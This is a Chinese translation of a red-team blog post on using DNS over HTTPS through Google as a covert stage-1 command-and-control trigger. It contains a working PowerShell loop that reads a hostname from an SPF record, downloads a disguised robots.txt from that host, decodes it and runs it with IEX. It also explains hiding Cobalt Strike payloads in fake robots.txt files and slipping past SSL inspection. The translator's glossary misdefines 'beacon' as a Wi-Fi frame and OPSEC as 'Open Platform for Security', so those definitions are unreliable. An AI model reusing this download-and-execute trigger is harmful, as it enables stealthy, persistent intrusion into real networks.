本文翻译自:https://outflank.nl/blog/2018/10/25/building-resilient-c2-infrastructues-using-dns-over-https/
名词解释:
信标: 用来宣布802.11网络的存在。Beacon帧中除了包含BSS参数的信息,也包含接入点缓存帧的信息,因此移动式工作站要仔细聆听Beacon信号。
保持对目标网络的可持续访问是防范攻击行为的里程碑之一。在我们的运营期间,我们使用各种类型的短程信标进行日常运营。如果所有短程信标都失败了,那么可以通过返回频率较低的远距离信标可以恢复对目标网络的访问。因此,远距离信标的运行方式应该不会引起蓝军的注意。
出于OPSEC(英文为 Open Platform for Security,顾名思义,它代表了在网络安全方面的一种开放式平台)的原因,在低速和慢速通道(第1阶段,长途通道)和运营通道(第2阶段,短程)之间划分命令和控制(C2)是一个好习惯。本博文提供了使用DNS over HTTPS(对dns.google.com进行HTTPS调用以检索DNS TXT记录)构建第1阶段C2频道的详细操作信息,以触发下载一个stager,它随后将启动第2阶段C2的Payload。
构建不同的和应用的多样化是实现命令和控制基础架构的可靠性和安全性(OPSEC)的重要机制。其中,良好的C2基础设施应具有以下特征:
各种APT小组用来实现这一目标的常用模式是使用具有基本功能的长途C2信道(阶段1 C2),可用于临时部署通过另一个信道进行通信的高级且复杂的植入物(阶段2 C2)。通过这种方式,可以创建一个非常有弹性的基础设施,有价值的植入物落入调查人员的手中的机会是有限的。
在本博文中,我们将演示如何使用DNS over HTTPS模拟这种模式。
DNS over HTTPS(DoH)允许通过HTTPS协议进行DNS解析,如RFC8484中所述。DoH的目标之一是增加用户的隐私,通过HTTPS解析DNS查询。各方都有提供DoH,这一点谷歌做得很好。
从攻击的角度来看,当我们使用DoH时,我们可以执行请求:
除了这些特征之外,我们发现许多已实施SSL检查的客户因各种原因(Google产品中的证书,流量负载,隐私等)将所有Google域排除在检查范围之外。总而言之,这使得DoH通过谷歌成为触发Payload的理想信道。
下图展示了一个Python的示例,通过HTTPS向dns.google.com发送 yourdomainhere.nl
域的TXT记的单个DNS请求,它也显示了响应。
现在我们知道DoH是怎么工作的了,那么我们如何(ab)使用它来触发Payload传输呢?我们能够控制系统定期提取DNS应答的内容。使用DoH,我们能够将少量数据(即Payload位置信息)传送到目标网络中的受感染系统。
从OPSEC的角度来看,在DNS TXT记录中如果只包含主机名或目标网址并不是一个好的主意。例如,您可以使用SPF记录来嵌入stager域。SPF记录看起来是安全无害的,它可以包含IP地址,域或服务器名称。
想象一下,当您想要提供新的Payload时,您有一个默认的SPF记录添加域。触发器的接收端将发现添加到SPF记录的主机名并对其进行操作。
下图显示了一个DNS TXT响应的示例,其中嵌入了域名。该域名可以由定期提取DNS TXT记录的stager来提取。
由于大小限制,Payload本身不会通过DoH提供,我们需要对Payload进行编码,使其与正常的网络流量混合在一块。下图显示了一个基本示例:'robots.txt'
文件似乎只包含文本。但是,实际上该文件包含一个base64编码的PowerShellPayload(例如Cobalt Strike PowerShellPayload),并有额外的空格来避开最后的任何'='字符。这个Payload被反转并以随机块的形式被剪切,并添加了“Disallow:/”和“.html”字符串,以模仿真正的robots.txt文件。
可以在我们的GitHub上找到用于将Payload嵌入robots.txt的Python代码。用法:
python HideInRobots.py payload.ps1
对于大多数操作,您可能希望在分段期间进一步隐藏Payload。我们的一些爱好者可以帮助您完成此过程:
我们的远程C2信道(阶段1)的接收端是一个独立的过程,定期轮询DoH上的DNS TXT记录。下面的代码段包含一个PowerShell示例,可以用来使用DoH Google服务不停地查询域的DNS TXT记录。请求使用HTTPS与dns.google.com进行通信。当然,在OPSEC方面,您可能不想使用PowerShell,而是想根据目标的环境来定制DNS TXT应答、Payload位置和睡眠时间。
在下面的示例中,如果收到一个‘vspf1 include: -all’
响应,它将返回休眠10小时。如果响应更长,它将提取嵌入在响应中的域名,从域名下载 ‘robots.txt’
。
function Invoke-SPFtrigger
{
while($true)
{
$hostn = ""
$spf = (New-Object System.Net.Webclient).DownloadString("https://dns.google.com/resolve?name=yourdomainhere.nl&type=Txt")
$offsetA = $spf.IndexOf("v=spf1 include:")+15
$offsetB = $spf.IndexOf("-all")-1
$hostn = $spf.substring($offsetA,$offsetB-$offsetA)
if ($hostn.Length -ge 3 ){
$dl = (New-Object System.Net.Webclient).DownloadString("http://" + $hostn + "/robots.txt")
$dl = $dl.Replace(".html`n", "")
$dl = $dl.Replace("Disallow: /", "")
$dl = $dl[-1..-($dl.length)] -join ""
$c = [System.Convert]::FromBase64String($dl)
$st = [System.Text.Encoding]::ASCII.GetString($c)
IEX($st);
}
sleep(3600)
}
}
Invoke-SPFtrigger
您现在可以使用此远程通道来安排您的“交互式”和“可操作”C2通道(您的Cobalt Strike,Empire,Slingshot或自行开发的植入物)升级。尽情愉快地展现你的创造力吧!
除了DoH上单独触发您的信标之外,您还可以使用DoH作为主C2通道。SpiderLabs最近发布了一个即用型Cobalt Strike外部C2模块:https://github.com/SpiderLabs/DoHC2
这篇博文中提到的代码可以在如下链接中找到: https://github.com/outflanknl/DoH_c2_Trigger